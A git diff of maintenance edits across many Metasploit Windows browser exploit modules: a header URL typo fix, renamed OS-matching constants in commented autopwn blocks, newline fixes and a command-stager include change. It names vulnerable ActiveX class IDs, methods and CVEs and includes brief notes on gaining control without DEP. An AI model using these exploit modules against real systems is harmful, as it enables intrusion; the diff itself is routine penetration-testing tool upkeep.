a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::SAFARI, # :ua_maxver => '5.0.1', # :ua_maxver => '5.1.7', diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index 10af9660df..fd94da6b32 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 7387c651f7..46fcbed806 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # # No particular browser. Works on at least IE6 and Firefox 1.5.0.3 # :javascript => true, # :rank => NormalRanking, # reliable memory corruption diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 96d57cf54b..2355aab342 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking, # reliable memory corruption # :vuln_test => nil, diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 3db798b445..6d58e6d12d 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :javascript => true, # :rank => NormalRanking #}) @@ -296,4 +296,4 @@ int __fastcall sub_67EED2B0(int a1, int a2) } return result; } -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index ce83a7afd2..bb79ac5767 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 7b5c1fd352..1bd56b231c 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index b6fe96a393..85ddced7b4 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb index d5f160e089..523b471db6 100644 --- a/modules/exploits/windows/browser/autodesk_idrop.rb +++ b/modules/exploits/windows/browser/autodesk_idrop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index e4623c7a7c..a8e80a26fa 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index b3cabe552e..50e9b2a3dd 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb index a7829c7524..d0be485f04 100644 --- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb +++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb index 39984319ef..271caa3851 100644 --- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb +++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb index 008e65a2a5..bf6181bd25 100644 --- a/modules/exploits/windows/browser/barcode_ax49.rb +++ b/modules/exploits/windows/browser/barcode_ax49.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index 28b8003a0a..3a63699a2f 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :javascript => true, # :rank => NormalRanking, diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index d611285146..7a8588c51e 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index f7e054fd4f..62d06f8211 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote could overflow a buffer and execute arbitrary code on the system. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE', '2008-1472' ], diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb index f354f3c53e..3a39839a25 100644 --- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb +++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb index 8beabef098..b5f802fa7f 100644 --- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb +++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 6f6f1a828b..6d1c1f1571 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}", # :method => "SetSource", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 98caf4c686..2650552b35 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}", # :method => "SetSource", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index f5b75ab4bf..663b4945a0 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 0f8dff21d5..056fbcadd4 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{94773112-72E8-11D0-A42E-00A024DED613}", # :method => "RegisterSchemaRepoFromFileByDbSet", # :rank => NormalRanking @@ -155,4 +155,4 @@ ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index ad2614d967..3efacb9c49 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 86fdc16810..37adc9b873 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 3a1a2953dc..a92886b94d 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}", # :method => "ServerResourceVersion" @@ -311,4 +311,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index 664fe57734..fe8ede5cbd 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 4f53c8192d..1b5560873d 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DisclosureDate' => 'Jun 09 2009', 'DefaultTarget' => 0)) end diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb index 6fc8627973..4ab495e851 100644 --- a/modules/exploits/windows/browser/ea_checkrequirements.rb +++ b/modules/exploits/windows/browser/ea_checkrequirements.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb index 048c5901c3..921285149b 100644 --- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb +++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 4797e2c3f5..3d3cdf9c3c 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb index 217bf45065..a45a935ef6 100644 --- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb +++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb index 8e4235e251..7290b5d166 100644 --- a/modules/exploits/windows/browser/facebook_extractiptc.rb +++ b/modules/exploits/windows/browser/facebook_extractiptc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 0063e8ec4e..8f52e0cb0f 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb index 9cd60dffd2..1850394ce0 100644 --- a/modules/exploits/windows/browser/gom_openurl.rb +++ b/modules/exploits/windows/browser/gom_openurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index 370ba3720e..a3394b541b 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index 626da8d3a4..ec3f7c8ed2 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index 7138d2004d..13fa3b651c 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index b136a41c9f..50e7a92819 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", # :method => "SetShapeNodeType", # :rank => NormalRanking @@ -267,4 +267,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index 6420f2d048..55850db2a5 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 60fa1b8b0c..9276a059e5 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index 378c98daf0..8fd3962f27 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 8eae361f2f..175947c5ed 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 2a9cfd1ae2..e3d390f8eb 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", # :method => "WriteFileBinary" @@ -253,4 +253,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index f6a01d021d..5c62ea02a1 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,8 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, - # :os_ver => OperatingSystems::WindowsVersions::XP, + # :os_name => OperatingSystems::Match::WINDOWS_XP, # :rank => NormalRanking, # :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", # :method => "WriteFileString " @@ -147,4 +146,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb index ed218fec08..dd64b699b0 100644 --- a/modules/exploits/windows/browser/hpmqc_progcolor.rb +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index 7e83003116..a56df9c525 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index c85c94dcc8..a8488b29d4 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}", # :method => "TabCaption" @@ -474,4 +474,4 @@ end .text:10018A06 push eax .text:10018A07 call dword ptr [ecx] # woot! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index c841580762..772a924e42 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "8.0", diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb index 9caa4f044d..f16b3b4c58 100644 --- 